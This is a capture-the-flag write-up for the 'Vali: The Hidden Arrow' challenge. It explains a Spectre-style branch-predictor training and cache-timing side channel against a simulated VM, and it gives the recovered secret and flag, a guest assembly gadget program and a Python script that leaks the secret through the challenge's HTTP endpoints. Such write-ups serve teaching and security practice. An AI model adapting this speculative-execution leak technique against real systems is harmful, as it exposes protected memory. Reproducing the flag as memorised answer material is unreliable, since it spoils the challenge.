Binary Exploitation / Pinaka CTF 2026
Vali: The Hidden Arrow
Train a simulated branch predictor and observe probe-cache timing to reconstruct bytes hidden beyond a public array.
Result
The protected secret was:
kishkindha::cb49ebd35c0f5256cf6606929a7f6cd9Submitting it to POST /vanara/claim returned:
PINAKA{vali_vadha_the_arrow_from_concealment}The flaw
GINV checks an index against a kernel public array. An out-of-bounds index has no architectural effect. Its bounds branch is predicted, however, and a prediction of in bounds lets the gadget briefly read beyond the array and touch a probe-cache line selected by the byte it read. A wrong prediction discards the architectural work but leaves the cache line hot. TIME exposes that cache state.
The gadget's bounds branch uses a two-bit predictor. Two successful calls with an in-bounds index are enough to make an immediately following out-of-bounds call execute the read and probe touch transiently.
Mapping the machine
The live /vanara/doc describes TIME dst, addr as returning 1 when cache line addr >> 6 is hot. I used FLUSH, called GINV with an in-bounds index, and swept addresses in increments of 64 bytes. For GINV 0, the only hot line was at address 0x4000. Repeating the sweep for indices 0 through 15 produced hot addresses 0x4000 + index * 64. This established a probe base of 0x4000 and a stride of 64 bytes; the public array contains the byte values 0, 1, ..., 15.
Calls with indices 16 and above produced no hot line without predictor training, establishing the public array length as 16 bytes. After two in-bounds training calls, FLUSH, and GINV 16, the hot probe line was number 107 relative to 0x4000: the ASCII byte k. Zero or one training call did not disclose it.
Disclosure program
For each target index, the following guest program trains the predictor, clears the cache, invokes the gadget on that index, and scans all 256 possible byte values. The hot line's offset is the leaked byte. This assembly uses the supplied vanara_asm.py; replace TARGET with the desired index before assembling.
MOVI R0, 0x4000 ; current probe address
MOVI R1, 64 ; probe stride
MOVI R2, 256 ; number of byte values to scan
MOVI R4, 0 ; candidate byte
MOVI R7, 0 ; known in-bounds index
GINV R7
GINV R7
FLUSH
MOVI R7, TARGET
GINV R7
scan:
TIME R3, R0
JNZ R3, found
ADD R0, R0, R1
ADDI R4, R4, 1
SUBI R2, R2, 1
JNZ R2, scan
MOVI R4, 255 ; no hot line sentinel
OUT R4
HALT
found:
OUT R4
HALTThe program above is illustrative assembly. The actual bytecode run used the same instructions with found at instruction index 20 (two unused HALT instructions padded the program before that label). A hot line at offset 0 legitimately outputs 00, so a zero byte is distinct from the ff no-hit sentinel.
Running this program for indices 16 through 59 recovered 44 bytes. Indices starting at 60 yielded zero, consistent with reading past the secret into zero-filled kernel memory. The exact 44-byte candidate was confirmed by /vanara/claim.
Reproduce
Extract vanara_asm.py from K03_player.zip, save the script below beside it, and run it. The script uses only Python's standard library.
import json
from urllib.request import Request, urlopen
from vanara_asm import assemble
BASE = "https://pinaka-k03-cyber-xo-x.vercel.app"
def post(path, payload):
request = Request(
BASE + path,
data=json.dumps(payload).encode(),
headers={"Content-Type": "application/json"},
method="POST",
)
with urlopen(request) as response:
return json.load(response)
def leak(index):
source = f"""
MOVI R0, 0x4000
MOVI R1, 64
MOVI R2, 256
MOVI R4, 0
MOVI R7, 0
GINV R7
GINV R7
FLUSH
MOVI R7, {index}
GINV R7
scan:
TIME R3, R0
JNZ R3, found
ADD R0, R0, R1
ADDI R4, R4, 1
SUBI R2, R2, 1
JNZ R2, scan
MOVI R4, 255
OUT R4
HALT
found:
OUT R4
HALT
"""
result = post("/vanara/run", {"program": assemble(source).hex()})
return bytes.fromhex(result["output"])[0]
secret = bytes(leak(i) for i in range(16, 60)).decode()
print(secret)
print(post("/vanara/claim", {"secret": secret}))